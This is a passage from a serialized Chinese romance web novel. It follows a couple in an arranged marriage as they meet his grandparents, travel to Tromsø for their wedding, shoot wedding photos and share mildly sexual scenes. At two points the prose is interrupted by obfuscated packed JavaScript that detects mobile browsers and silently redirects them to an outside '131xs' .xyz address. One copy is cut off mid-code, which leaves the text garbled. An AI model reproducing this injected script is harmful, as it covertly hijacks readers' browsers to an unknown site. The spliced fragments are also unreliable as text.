他不禁自嘲,是不是在她心里,狗都比他重要? 宋星燃低头看她。温木的眼睛很漂亮,明明该是冷的,眼尾却微微上挑,带着不自知的勾人意味。 他不明白她为什么总用眼镜挡着这双眼睛——就像她总用冷静的外壳挡着自己的心。 “怎么不说话?”温木问。 “明天我去接。”他闷声道,“睡吧。” 说完,整个人缩起来,脑袋往她怀里钻。 温木怔了怔。 那么高大一个人,此刻却蜷缩成小小一团,像只受伤的野兽寻求安慰。 她想去摸他的头发,手抬起,又放下。 真奇怪,明明在情事中,她能大胆地抚摸他的黑发,用挑逗的话语哄他。 可现在,只是单纯地睡觉,她却不敢这样做了。 * 温木没想到筹备婚礼会这么麻烦。 实验室的工作一直要持续到一月底,学校放寒假前她根本抽不开身。于是婚礼的所有细节:场地确认、宾客名单、流程安排、礼服修改,全都落在了宋星燃肩上。 他倒是适应得很好。 每天雷打不动的行程:六点起床晨跑,遛汽油,回来做早饭,送她上班,自己去健身房,下午准时出现在学校门口接她,然后一起去父母家吃饭。 单周回温家,双周回宋家,规律得像天文台的自转仪。 晚饭后回到星河湾,她窝在书房看文献,他就在客厅打游戏。 十点半准时洗澡,上床 ——纯字面意思的睡觉。 温木盯着天花板,总感觉,宋星燃最近不太对劲。 具体来说,就是不太像他。 以前的宋星燃是什么样? 张扬、热烈、像一团永不熄灭的火。 现在的宋星燃依然会笑,会闹,会在她看文献时从背后偷袭吻她的耳垂,但总有什么东西不一样了。 像是有人给太阳罩了层磨砂玻璃,光亮还在,温度却散了。 最明显的变化是,他们做的频率直线下降。 一开始,温木是高兴的。 腰不受罪了,睡眠质量显著提升,黑眼圈都淡了不少。她以为宋星燃终于进入了所谓的“倦怠期”,毕竟再旺盛的精力也有耗尽的时候。 但两个月过去,她发现不是这样。 每晚贴着睡时,她腰后那个存在感极强的热度骗不了人;清晨洗漱时,垃圾桶里揉成团的纸巾也骗不了人。 明明想要,却不肯碰她。 温木想不通。 宋星燃以前是最凶狠的狼,现在怎么转性成吃草的兔子了? 她一度荒谬地想,是不是如她之前猜测的那样,找到真爱了。 虽然这个猜测扯得她自己都想笑。 宋星燃不缺钱,家庭幸福,事业成功,唯一可能失意的,大概就是爱情? 可如果他真的对她只是一时激情,为什么筹备婚礼又这么认真? 温木看着书桌上摊开的婚礼企划书,男人的字迹工整而干净: 【极光观测最佳时段:2月22日21:00-23:00】 【旗袍腰围再确认(她又瘦了)】 【仪式背景音乐清单(附天文主题曲推荐)】 甚至还有手绘的星空座位图,每个宾客的名字旁边都标注了星座符号。 她翻到最后一页,发现角落里画了个小小的土星,旁边写着:【戒指藏在冰雕行星环里,要提醒她戴手套】 心口莫名涌上一股闷闷的痛感。 这样的事太多了。 他记得她所有研究员朋友的饮食习惯,特意嘱咐酒店准备无酒精香槟;他知道她不喜欢被围观,把仪式流程压缩到最短;他甚至连婚礼当天的月相都考虑到了,选在峨眉月出现的日子,说这样星光会更亮。 他对婚礼的上心程度,是她的百倍都不止。 浴室门打开,男人擦着头发走出来。 温木迅速合上企划书,假装在整理文献。 “看完了?”他问。 “嗯。” “有要改的吗?” “没有,很好。” 宋星燃点点头,掀开被子躺进来,习惯性地伸手环住她的腰,却克制地停在安全距离。温木能闻到他身上沐浴露的味道,雪松混着淡淡的薄荷,清爽又冷冽。 她突然很想转身抱住他,想问清楚他到底怎么了,可最终只是轻声说了句:“晚安。” 男人的下巴蹭了蹭她的发顶:“晚安。” 黑暗中,温木睁开眼。 算了,顺其自然吧。 * 2024.1.25.宁川,晴。 宁大正式放寒假了。 实验室里,徐樾声正小心翼翼地打包他的星轨摄影设备,吴桐在电脑前核对最后一批数据,孟孟则哼着歌擦拭望远镜镜片。于茉靠在窗边,一边嗑瓜子一边看手机。 “放假去哪儿啊?”吴桐抬头问,“我准备去哈尔滨看冰雕。” “回家呗,”徐樾声推了推眼镜,“我妈说再不见我就要报警了。 孟孟眼睛亮起来:“我要去云南!听说那里有个新建的天文台——” 于茉拍拍手:“安静安静!温老师有话要说。” 所有人齐刷刷看向窗边的温木。 她从包里取出三份烫金请柬,深蓝色封面压着星轨纹路,打开时内页会弹出立体的木星环,戒指图案在灯光下泛着细碎的银光。 宋星燃&温木 诚邀您见证我们的星辰时刻 2月22日挪威特罗姆瑟 极光与星轨为证 徐樾声的眼镜滑到鼻尖,吴桐张着嘴,孟孟直接蹦了起来。 “傻站着干嘛呀?”于茉搂过温木的肩膀,“温老师食宿全包,机票报销,还不收你们红包。” 孟孟一把抱住请柬:“阿木姐,你真的要结婚了!” “你这话可别到宋少爷跟前说,”于茉戳她脑门,“人家听了要跟你急的。” “不是不是!”孟孟急得摆手,“我就是觉得,好像办了婚礼,才有一种阿木姐结婚了的实感。” 温木嘴角微微上扬:“我很希望,你们都能来。” “肯定的阿木姐!”吴桐把请柬贴胸口,“天塌了我也去!” 徐樾声认真道:“红包还是要包的,我们的心意。” “我先走了。”温木背上包。 于茉追到门口:“不吃饭啊?” 温木:“他爷爷奶奶回来了,今晚得回去吃。” 于茉瞪圆眼睛:“你是说宋老爷子?!” 温木:“嗯。” “天啊!宋老爷子都多久不回国了?听说他跟夫人一直在周游世界,根本不管家里事的那种。他们居然回来了?!” 于茉突然郑重其事地抓住她的手,“宝贝,苟富贵,勿相忘。” 温木轻轻抽出手:“爱妃放心。” 走出实验楼,寒风扑面而来。温木裹紧大衣,一眼就看到了靠在柯尼塞格旁的男人。 他今天穿了件深灰色高领毛衣,外搭黑色皮衣,意外的成熟冷峻,像从时尚杂志里走出来的模特。 “等很久了?”温木走近问道。 宋星燃接过她的包,顺手替她拉开车门: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358191|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚到。” 男人手指在方向盘上轻敲,宽慰她:“别紧张。” 温木:“还好。” “我爷爷奶奶他们,比较奇怪。”宋星燃斟酌着用词,“你到时候别被吓到。” 温木点点头。 那应该是性格古怪、不好相处的老人家了。 但她并不担心,从小到大,她最擅长的就是应付各种长辈:保持礼貌,少说话,多微笑。 “嗯,知道了。”她平静地说。 车子驶入宋家老宅的庭院时,天已经完全黑了。 欧式别墅在夜色中依然耀眼,客厅里灯火通明。 温木刚踏进门,就看到了沙发上坐着的两位老人。 宋砚之穿着一身笔挺的中山装,银发梳得一丝不苟,面容严肃,坐姿端正得像一尊雕塑;闻清梧则是一袭墨绿色旗袍,珍珠项链衬得她气质高雅,眼神锐利如鹰。 两人就像从民国老照片里走出来的名门望族,浑身散发着不怒自威的气场。 温木的背不自觉地挺直了。 沈岁热情地招呼她:“阿木,来,来见见爷爷奶奶。” 宋星燃牵着温木的手走过去。 温木恭敬地鞠了一躬:“爷爷好,奶奶好。” 两位老人没有立即回应,而是用审视的目光上下打量她。 温木感到一阵紧张,手指不自觉地蜷缩起来。她感觉到身边的男人轻轻捏了捏她的手,像是在无声地安慰。 “哎呀我滴妈呀!这就是我们家孙媳妇啊!”闻清梧一拍大腿,脸上的严肃瞬间瓦解,笑得眼睛眯成一条缝,“长得可真俊!” 宋砚之也一改方才的威严,乐呵呵地站起来,从口袋里掏出一个小盒子:“来来来,爷爷给你带了礼物!” 温木愣住了,一时反应不过来。 她抬头看向宋星燃,后者冲她努努嘴,一副“我早告诉过你”的表情。 闻清梧已经热情地拉着温木坐下:“听阿燃说你研究星星?奶奶年轻时候也喜欢看星星!” “真的吗?”温木有些惊讶。 “可不是!”闻清梧兴奋地说,“我还在天文台工作过呢!那时候用望远镜看土星环,哎哟,美得不得了!” 宋砚之插嘴:“你奶奶为了看流星雨,大冬天拉着我在山顶冻了一整夜!” “那你不是也看得挺开心?还说要给我摘星星呢!” 两位老人你一言我一语,完全颠覆了温木的第一印象。 她这才明白宋星燃说的“奇怪”是什么意思——不是古板严肃,而是活泼得不像这个年纪的人。 晚饭时,餐桌上其乐融融。 闻清梧对温木的天文学研究表现出极大的兴趣,不断提问;宋砚之则分享了他年轻时在世界各地探险的见闻。 温木惊讶地发现,两位老人的知识储备相当丰富,尤其是天文地理方面,完全不输专业人士。 “小木啊,”闻清梧给她夹了块鱼肉,“你们婚礼选在挪威看极光,这个主意太棒了!” “是他安排的。”温木轻声说。 “这小子总算干了件靠谱的事!”宋砚之大笑着拍拍孙子的肩。 温木现在可算是明白了,为什么宋明深三个儿子,就宋星燃那么特立独行。 宋应濯和宋铭栎的稳重来自父母;而宋星燃的张扬莽撞,纯属隔代遗传。 饭后,闻清梧拉着温木去了露台。冬夜的星空格外清澈,远处山峦的轮廓若隐若现。 老太太亲手泡了壶桂花茶,香气氤氲在寒冷的空气中。 “你看,”闻清梧指着天空,“那是猎户座,多亮啊。” 温木点头:“参宿四和参宿七都很明显。” “阿燃小时候,我经常带他看星星。”闻清梧的眼神变得柔和,“那孩子从小就坐不住,唯独看星星的时候能安静下来。” 温木想象着小小的宋星燃仰头观星的样子,心头莫名一软。 闻清梧看着面前静默谦和的孙媳妇,不免心生爱怜,默默从腕上褪下一个玉镯,递到温木面前。 “小木啊,这个给你。” 温木惊讶地看着眼前的玉镯,通体碧绿,晶莹剔透,在月光下泛着温润的光泽,内侧刻着精细的缠枝花纹,一看就是价值不菲的古董。 “这太贵重了,我不能收。”她连忙推辞。 闻清梧的表情变得认真:“小木,你听奶奶说完。” 老太太握住她的手,声音轻柔却坚定:“我没想过,我这几个孙子里,最先结婚的居然是阿燃。我更没想到,那个从小皮到大的浑小子,会被你治得服服帖帖的。” 治得服服帖帖? 在床上明明是他治她。 温木耳根发热,赶紧甩开这些不该有的念头。 “一开始知道是联姻的时候,我还担心会不会伤了两个人、两家情。”闻清梧继续道,“但现在看来,是我多虑了。” “这是天定的缘分。” 温木怔住。 她没想到老人会说出这样一番话,更没想到会被如此直白地认可。 一种复杂的情绪在胸口蔓延开来。惊讶、感动,还有一丝说不清道不明的愧疚。 “奶奶。”她轻声开口,却不知该说什么。 “我能看出来,阿燃那孩子很喜欢你。”闻清梧慈爱地看着她,“我们一家人,都很喜欢你。这个镯子,是奶奶的心意,希望你能收下。” 温木纠结片刻,最终告诉自己,不能扫了老人家的兴。 她深吸一口气,点了点头:“谢谢奶奶。” 闻清梧高兴地将玉镯套进温木的手腕。碧绿的玉石衬得她肌肤如雪,煞是好看。 “真合适。”她满意地点头。 温木低头看着腕上的玉镯,感觉有些微妙。她既为这份认可感到开心,又隐隐有些愧疚。 闻清梧似乎误会了什么。她和宋星燃并不是恩爱的夫妻,至少,不是她想象中那样。 脚步声传来,宋星燃出现在露台门口:“奶奶,能让我老婆回家了吗?” “哈哈哈,好好好!”闻清梧大笑,“你小子,一分钟都离不开老婆了!” 告别两位老人后,温木跟着宋星燃走向车库。 夜风微凉,她下意识地摸了摸腕上的玉镯,突然停下脚步。 “这个,”她犹豫着开口,“我没想要。” 说完就要去退。 男人一把按住她的手,眼神晦暗不明:“为什么不要?” 没有得到回应,他又固执地重复了一遍:“你不是我老婆吗?为什么不要?” 温木被他突如其来的反应惊到了:“太贵重了。” “不贵重。”宋星燃的声音低沉而坚定,“给你的,什么都该是最好的。” 月光下,他的表情认真得近乎执拗,黑发被风吹得有些乱,眼睛里闪烁着温木读不懂的情绪。 “结婚那天,敬酒的时候,把这个戴上。”他突然别开视线,耳尖微微发红。 “我觉得,会和旗袍很配。” 他是在,害羞吗? 温木的眉眼弯了弯,下意识地向前一步,踮起脚尖,凑近宋星燃的耳边。 “那你帮我。” “什么?” “帮我戴镯子。” 她的唇擦过他耳垂。 “也帮我穿旗袍。” 38. For the stars 男人一点点靠近,温木没有躲开。 两片唇即将碰上的那一秒。 “我没看见我什么都没看见啊,”老太太甩着手一路小跑回露台,珍珠耳坠在月光下晃出细碎的光,“你们继续你们继续。” 宋星燃扶额:“奶奶。” 温木抿唇偷笑,摩挲着腕间新得的玉镯。碧绿的玉石触感温凉,内侧缠枝花纹的纹路清晰可辨。 “真可惜。” “等婚礼那天,补给你?” 男人眸色骤深,喉结滚动:“说话算话。” * 2月10日,宁川国际机场,多云。 温木蜷在私人飞机的真皮座椅里,额头抵着冰凉舷窗。起飞时的耳鸣还未完全消退,胃里翻涌的不适感让她不得不闭上眼睛。 “喝点这个。”宋星燃递来一杯冒着热气的姜茶,杯沿贴心地垫了防烫垫,“加了蜂蜜。” 她小口啜饮,甜辣的液体滑过喉管,暖意渐渐漫上四肢。男人的手指穿过她的发丝,轻轻按摩着她的太阳穴。他今天穿了件深蓝色衬衫,袖口卷到手肘,露出线条分明的小臂。 “睡会儿?”他低声问,指尖力道恰到好处。 温木模糊地应了一声,任由他调整座椅靠背,铺开柔软的羊绒毯。意识沉入黑暗前,她恍惚听见书本翻页的轻响。 再醒来时,舷窗外已是截然不同的景象。 极光带特有的青灰色天幕上,絮状的云层像被撕开的棉絮,缝隙间透出冰蓝色的天光。机翼下方是连绵的雪山,峰顶积雪在阳光下闪烁着钻石般的碎芒。更远处,蜿蜒的峡湾如同银线缝缀在墨绿的地毯上。 温木撑起身子,发现床边矮几上摊开着一本《宏观经济学理论》,扉页夹着支万宝龙钢笔。 书页边缘密密麻麻的批注字迹锋利有力,某个章节折角处还贴着便利贴,上面画着简易的供求曲线图。 她忍不住挑眉。 小少爷居然开始读书了? “醒了?” 男人端着玻璃水杯走进来,衬衫最上方的两颗纽扣松开着,锁骨若隐若现。他弯腰把水递给她,身上带着冷洌地气息。 “有不会的可以问我。”温木接过水杯,一脸认真。 宋星燃一声,单膝跪在床沿俯身逼近:“温老师,我是没念完大学,但不代表我是傻子。” 他抽走书本,指节敲了敲封面烫金标题,“我是为了事业主动退学的,那叫弃经济从赛车,弃文从武。懂吗?” “嗯,倒是很符合宋少爷的人设。” “莽夫。” 宋星燃伸手摘掉她的金丝眼镜,眼前顿时蒙上一层雾蒙蒙的光晕。他恶作剧得逞般勾起嘴角,却在看到她微微眯起的眼睛时怔住。 没有镜片阻隔,那双总是冷静自持的眼睛此刻眼尾微红,长睫轻颤,像雪地里突然暴露在阳光下的黑曜石。 “还我。“温木伸手去够,被他轻易躲开。 “不要。”宋星燃把眼镜架在自己鼻梁上,夸张地皱眉,“这么晕,你怎么戴得住的?” 温木懒得和他争辩,起身去够床头柜上的备用眼镜盒。动作间,深蓝色吊带裙的肩带滑落,露出大片雪白的肌肤。男人的呼吸明显滞了一瞬,喉结滚动着别开视线。 “完了。”她突然僵住。 “什么?” 温木看着衣柜里整齐悬挂的衣物,沉默片刻:“没什么。” 她想起那盒被遗忘在床头抽屉里的安全套,特意按他尺寸买的超薄款。包装盒上还印着嘲讽的标语:“Forthosewhothinksizematters”。 当时结账时于茉笑得直不起腰,说你们家赛车手看到这个怕是要用行动证明。 “很重要?”宋星燃歪头打量她的表情。 温木摇头。 酒店应该会有常规款吧。只是不知道挪威的便利店,能不能买到适合他的。 男人狐疑地看她一眼,转身去准备降落事宜。温木趁机重新戴上眼镜,窗外景色已经变成大片针叶林,远处特罗姆瑟城的轮廓逐渐清晰。 夜幕降临时,车子驶入城堡酒店私家车道。 十二世纪的古堡改建的酒店矗立在雪山环抱中,哥特式尖顶刺破靛蓝天幕,彩绘玻璃窗透出琥珀色的光。 车道两侧立着冰雕的路引,每个雕塑底座都嵌着星形灯带,照亮铺满新雪的草坪。 “冷吗?”宋星燃把羊绒大衣披在温木肩上。 寒风中,他的体温透过衣料传来,混合着雪松与皮革的气息。 温木摇头,却被他不由分地握住手塞进自己口袋,摩挲着她微凉的皮肤。 “宋先生,温女士。”经理穿着传统萨米族服饰迎上来,“欢迎来到极光宫殿。” 踏入城堡大厅的瞬间,温木不自觉地屏住呼吸。 挑高七米的穹顶上悬挂着水晶枝形吊灯,灯光经过数百块棱镜折射,在古老的石墙上投下星河般的光斑。中央楼梯扶手上缠绕着新鲜的雪绒花,每一步台阶都铺着绣有星座图案的波斯地毯。 “二位的卧室在塔楼顶层。”经理递上两把黄铜钥匙,“按照要求,我们准备了观星露台和……” 宋星燃突然咳嗽一声,经理立刻噤声。 温木狐疑地看向他,后者正假装对墙上的驯鹿标本产生浓厚兴趣。 电梯升至顶层,橡木门后是近两百平的套房。 深蓝色天鹅绒窗帘垂坠落地,四柱床上悬挂着星空纱帐,床头柜上摆着天文主题的夜灯。 但最令人惊叹的是延伸出去的玻璃露台,全透明设计,仿佛悬浮在夜空中的水晶盒子。 温木小跑到露台边。特罗姆瑟的夜景在她脚下铺展,彩色木屋像乐高积木散落在山坡上,港口停泊的游艇亮着暖黄的灯。 更远处,北冰洋的海面泛着金属般的冷光,与天际线融为一体。 “喜欢吗?”宋星燃从背后环住她的腰,下巴搁在她肩头。 温木点头,后颈被他呼吸拂过的地方微微发烫。 “先吃饭?”他轻咬她耳垂,“不饿吗?” 像是响应他的话,温木的胃部传来轻微的抗议。 露台上不知何时已经摆好餐桌,水晶杯旁立着极光造型的烛台,银质餐具在星光下闪烁微光。 “你不觉得,”宋星燃为她拉开椅子,“这跟我们第一次约会很像吗?” 温木接过他递来的柠檬水:“那也算约会?” “怎么不算。”男人皱眉,往她盘子里放了一块鲸鱼肉排,“某人可是盯着我的脸看了整整三分钟。” 温木差点被水呛到:“我是在看你脖子上的纹身。” 她第一次见他,就注意到的,那颗星星。 “你说这颗星星?”他将衬衫领口拉得更大,“是不是很帅?” 烛光下,他的蓝衬衫袖口折射着细碎光芒,锁骨线条没入衣领阴影。 “爸妈他们还没到?”温木叉起一块鳕鱼。 宋星燃晃着红酒杯,唇角勾起危险的弧度:“他们过几天才到。” 他倾身越过餐桌,指尖擦过她唇边的酱汁,“现在,这里是我们的秘密世界。” 男人眼里的侵略性太明显,像是终于撕开绅士伪装的野兽。 鳕鱼在舌尖化开鲜甜的滋味,温木缓缓舔掉他指尖残留的酱汁。 “那你,可要藏好了。” 玻璃露台外,第一缕极光正悄然漫过雪山之巅。 * “婚纱照?”温木从咖啡杯上抬起头,眼睛微微睁大。 宋星燃靠在门框上,穿着简单的白T恤和黑色休闲裤,肌肉线条在布料下若隐若现。 “嗯,今天拍。”他晃了晃手机,“摄影师半小时后到。” 温木放下杯子,眉头微蹙:“一定要拍吗?” 她向来不喜欢拍照,更不习惯在镜头前摆姿势。 “你不想拍?” “倒也没有,”温木搅动着杯中的咖啡,“拍不拍都行。” 男人盯着她看了几秒,突然大步走过来,一把扣住她的手腕:“必须拍。” 语气强硬得不容拒绝,眼神却泄露出一丝受伤。 温木这才意识到自己的态度可能伤到他了,还没来得及解释,就被拉着往衣帽间走去。 衣帽间里挂着五套服装。最显眼的是一袭银白色鱼尾礼服,裙摆上绣着细碎的星芒;旁边是一套深蓝色丝绒西装,领口别着行星形状的胸针。 除此之外,还有几套看起来更日常的情侣装:星空图案的毛衣、同色系的羽绒服,甚至还有印着星座的卫衣。 造型师微笑着解释:“这都是宋先生亲自挑选的。” 温木的手指轻轻抚过那件银白色礼服,面料冰凉顺滑,像是触摸真正的星光。 “眼光倒是没那么差。” 换好第一套礼服后,她站在落地镜前,有些不自在地拉了拉裙摆。 礼服是露背设计,大片雪白的肌肤暴露在空气中,开叉的裙摆下若隐若现修长的腿。 “哇哦——”宋星燃的声音从身后传来,拖长的尾音里满是惊艳。 温木转身,男人穿着那套深蓝色西装靠在门框上,整个人英俊得不像话。 他的目光毫不避讳在她身上流连,喉结不自觉地滚动。 “别这么看我。” 宋星燃走近,手指轻轻抚过她裸露的后背。 “温老师,你这样我会分心的。” 第一个拍摄地点在酒店的古堡大厅。 摄影师是个留着大胡子的挪威人,ISPWP的年度摄影师,指挥着他们在旋转楼梯上摆姿势。 “女士靠在栏杆上,先生从背后环住她的腰。对,就是这样!”摄影师用带着口音的英语喊道,“看镜头,别看她!” 宋星燃充耳不闻,鼻尖蹭着温木的颈侧,呼吸灼热。温木能感觉到他的心跳透过薄薄的衣料传来,又快又重。 “专心点。”她小声提醒。 “我很专心。”宋星燃理直气壮地反驳,手指在她腰间轻轻摩挲。 拍完室内场景,他们换上了保暖的情侣装前往码头。 特罗姆瑟的港口停泊着各色船只,远处的雪山在阳光下闪闪发光。 寒风凛冽,温木的鼻尖很快冻得通红。 “冷吗?”男人脱下自己的羽绒服裹在她身上。 她摇头,却被他一把搂进怀里。 摄影师趁机抓拍下这个自然又亲密的瞬间。 “完美!”他兴奋地查看照片,“现在换个姿势,女士坐在那个木箱上,先生站在她身后,低头吻她的发顶。” 宋星燃照做,嘴唇却故意滑到温木耳边:“你身上好香。” 温木掐了一下他的手臂:“正经点。” “我很正经啊,”他一脸无辜,“在夸我老婆呢。” 拍完码头场景,温木已经冻得手指发僵。宋星燃注意到,二话不说把她抱起来就往回走。 “放我下来,”温木挣扎,“还有人在看。” “让他们看。”宋星燃抱得更紧了,“我抱自己老婆犯法吗?” 回到酒店,他们换上了最后一套服装。温木的银白色鱼尾礼服和宋星燃的深蓝西装。拍摄地点选在了酒店的皇家套房,那里有一个仿中世纪风格的王座厅。 “这个姿势会很有张力,”摄影师比划着,“女士坐在王座上,扯着先生的领带。先生西装半褪,跪在女士脚边,仰头看她。” 温木扶额,宋星燃却眼睛一亮:“这个好。” 然而,当温木穿着开叉礼服,修长的腿优雅交叠,手指轻轻勾住宋星燃的领带时,平时张扬肆意的赛车手竟然耳根通红,眼神闪躲。 温木用扇子将他的脸轻轻拨过来,居高临下: “看着我。” 时间在他望过来的那一刻,温柔地凝固。 女人的金丝眼镜反射着水晶吊灯的光芒,红唇微启,清冷中带着不自知的诱惑;男人的西装外套半挂在臂弯,露出里面紧绷的白衬衫,肌肉线条分明。 摄影师疯狂按动快门:“太棒了!保持这个眼神!” 宋星燃的喉结滚动,声音沙哑:“温木。” “嗯?”她微微俯身,领口春光若隐若现。 “你故意的。”他咬牙切齿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365764|181620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温木轻笑,手指顺着他的领带滑到喉结:“才知道?” 最后一张照片定格在宋星燃忍无可忍吻上她手腕的瞬间,温木仰头轻笑,眼尾泛红。 摄影师连连赞叹:“完美!这是我拍过最有张力的婚纱照!” 拍摄结束后,温木终于撑不住了,整个人蜷缩在沙发上发抖。 宋星燃单膝跪在她面前,捧着她冰凉的手不停呵气,眼里满是自责:“对不起,是我考虑不周。” 温木看着他懊恼的样子,原本生气的心也软了下来:“拍完就回去吧,我想泡澡。” “我让他们准备好。”宋星燃立刻打电话安排,又拿来厚厚的毛毯裹住她。 温木靠在他怀里,突然想起什么:“照片,什么时候能看?” “摄影师说三天后出样片。”宋星燃低头吻了吻她的发顶,“怎么了?” “没什么,”温木闭上眼睛,“就是有点好奇。” 好奇在他眼中的自己是什么样子,好奇那些被定格的瞬间会如何呈现,好奇这段始于利益交换的婚姻,在镜头下会呈现出怎样的模样。 男人似乎看透了她的心思,轻声道:“你一定会喜欢的。” 在他心里,她就是这世界上最美的风景。 * 温木推开浴室门,热气夹杂着淡雅的香气扑面而来。 浴池边缘摆着一盏造型别致的香薰灯,暖黄的光晕映照着水面漂浮的白色山茶花瓣。不知名的香料在水中缓缓溶解,散发出类似雪松与佛手柑混合的清新气息。 她解开浴袍,任由丝滑的布料滑落在地。踏入浴池,温热的水流立刻包裹住她疲惫的身体。 女人发出一声满足的叹息,将头枕在交叠的手臂上,靠在池边。黑发如海藻般在水面散开,有几缕贴在泛红的脸颊上。 水汽氤氲中,她半眯着眼睛,长睫上挂着细小的水珠,整个人透着一股慵懒的美感。 脚步声由远及近,温木懒得抬眼。 水声哗啦一响,一具坚实的身体从背后贴近,有力的手臂环住她的腰。 “累坏了?”宋星燃的声音在耳边响起,带着水汽特有的潮湿感。 温木微微点头,任由他将自己转了个方向,几乎是靠在他身上。浴池的水位因此上升,几朵山茶花被挤到边缘。 男人捧起水浇在她肩头,玩得不亦乐乎。 “幼稚鬼。”温木轻哼。 宋星燃略微动下腰身:“温老师确定,我很幼稚吗?” 温木拍开他不安分的手:“别闹,陪我聊会天。” “你说,我听。”他果然乖乖不动了,只是手指仍在她腰间流连。 温木靠在他肩上:“第一次那晚,是你准备好的吗?” 宋星燃:“嗯。你睡觉的时候准备的。” “怎么想到在那儿?” “怕你尴尬,”他的手指在水下画着圈,”水声可以挡挡。” 温木抬头看他:“撒谎。” 冠冕堂皇的理由被戳穿,男人耳根微红,只好老实交代:“更刺激,不是吗?” 会随着动作荡出波纹,会发出声音,会让人忍不住想象水下是怎样的景象。 温木想了想,好像确实如此。 只要稍稍一动,水面就会泛起涟漪,带起暧昧的声响,掩盖住喘息与呻吟。而水下,他的手掌正牢牢扣着她的腰,留下一道又一道红痕。 男人忽地开口::“那天晚上,你是不是不喜欢啊?” 声音里带着罕见的忐忑。 那晚他确实太莽撞了,毫无经验的毛头小子,只凭着本能横冲直撞。明明想让她舒服,却在她蹙眉的模样下更加失控,不管不顾地索取。 这不是他的本意。彼此的第一次,本该是难忘而美好的。 温木垂下眼睛:“喜不喜欢的,很重要吗?” “当然重要。”宋星燃收紧手臂,”我希望你开心。” “跟我一样开心。” 温木无奈:“你下次少来几回,我就开心了。” “好吧,”他亲了亲她的发顶,”我努力。” 水面安静下来,只有山茶花轻轻漂动。 温木:“我去找你那天,你发了什么朋友圈?” 宋星燃摩挲她腰肢的手突然停住。 “我后来去看,你删掉了。” 温木侧过头看他,湿漉漉的长发贴在颈侧,眼尾还带着沐浴后的薄红,媚眼如丝。 “怎么,有什么东西不能给我看吗?” 宋星燃情不自禁地凑过去吻她眼角:“就是一张照片。一张,我们俩的照片。” “没拍人,就拍了手。你那天,戴了戒指,我就想,拍下来。” “为什么要删?” “因为,怕你不高兴。怕你觉得,我太高调了。怕你讨厌我。” 温木在心里叹了口气。 平常看他虎头虎脑的,一身蛮劲就知道横冲直撞,原来也有这样小心翼翼的心思。 只是,怎么都用在这种地方了? “可以发。”她轻声道,“我们是合法夫妻,为什么不能发。” 宋星燃的眼睛亮了一瞬,又暗了下去,像是怕自己听错了。 “有点晕。”温木皱眉,扶住他的肩膀。 “我抱你出去。” 宋星燃直接将她从水中抱起,水花四溅。 他随一扯了条毛巾铺在大理石洗手台上,把人放上去。又拿了条干毛巾,细细地给她擦身子。 水珠顺着女人优美的背部线条滑下,被他用毛巾一一拭去。 温木迷迷糊糊间,目光不经意扫过,又看了看男人隐忍的脸,还是好心问了一句:“要帮忙吗?” 宋星燃给她擦头发的动作猛地停住:“你确定?” “怎么办,”她故意逗他,声音依然清冷,”这里没有套。” 他皱眉:“你怎么知道?” “昨晚,我翻了一下。”温木面不改色,“你戴不上的。” 男人喉间溢出一声低笑,握着她的脚踝将腿盘在自己腰上。 “没关系老婆。” “我自己带了。” 39. For the stars 瞒着她私自准备作案工具,并且不管不顾厮混的后果就是,温木一个星期都没怎么理他。 温木在城堡里到处逛,拍照,宋星燃就在十米远处跟着。她回头,他就装作跟经理聊天的样子。 温木白天去逛街吃饭,宋星燃也是在十米开外跟着,直到付钱的时候才三两步走过来刷卡。刷完卡,接过她手里大包小包的袋子,自动滚出视野范围。 温木深夜去酒吧喝酒,她坐吧台,宋星燃就在卡座里,拿个杂志挡脸。只在有人上前跟她搭讪的时候,才倏地蹿到她身边,冷冷用英文说一句“她有老公”。 凌晨两点,特罗姆瑟的街道安静得只剩下风声。 路灯在柏油路面上投下长长的光影,穿着黑色羽绒服的女人踩着那些破碎的光斑向前走。 她的步伐很轻,黑色长靴踏过水洼时几乎没有声音。身后十米处,高挑的男人双手插兜,不紧不慢地跟着。 女人停下。 男人的脚步戛然而止。 她继续走。 他的脚步声又响起来。 黑猫从垃圾桶后窜出,绿眼睛在黑暗中发亮,警惕地看了两人一眼又消失在夜色中。 温木第十次停下时,手机震动。 火星哥:【再停下来我把你扛回去了】 温木盯着屏幕看了两秒,面无表情地把手机塞回口袋,头也不回地往前走。 她在床上躺下没一会儿,一个温热的身体就像八爪鱼一样缠了上来。 “我错了。”宋星燃把脸埋在她颈窝,声音闷闷的。 温木不理。 “老婆,我真错了。”他蹭了蹭她的发丝,呼吸灼热。 温木依旧不理。 “我们商量个事儿呗。”宋星燃撑起身子,黑发乱糟糟地支棱着,“你能不能别去酒吧了?” 温木终于转过头,眸子冷冷地看着他:“你管天管地,还管我去不去酒吧?” “明明是你太受欢迎了。”男人委屈地皱眉,“我不喜欢别人盯着你看。” “是吗?”温木嘴角勾起一抹冷笑,“那你可要做好心理准备。我跟你说过,我从来都不缺人追。” “以前是,现在是,以后也是。” 说完,她直接转过身,把自己缩成一团。 宋星燃僵在那儿,胸口像是被人狠狠揍了一拳。温木的话像一把锋利的刀,划开他刻意回避的伤口。 他们之间,确实隔着漫长的、互不相识的岁月。 那些年里,有多少人曾追求过她? 她是否也曾为谁心动? 是否也曾像现在这样,躺在别人怀里,露出那种慵懒餍足的表情? 最让他无法忍受的是,那个叫明杨的男人。 他们之间到底发生过什么? 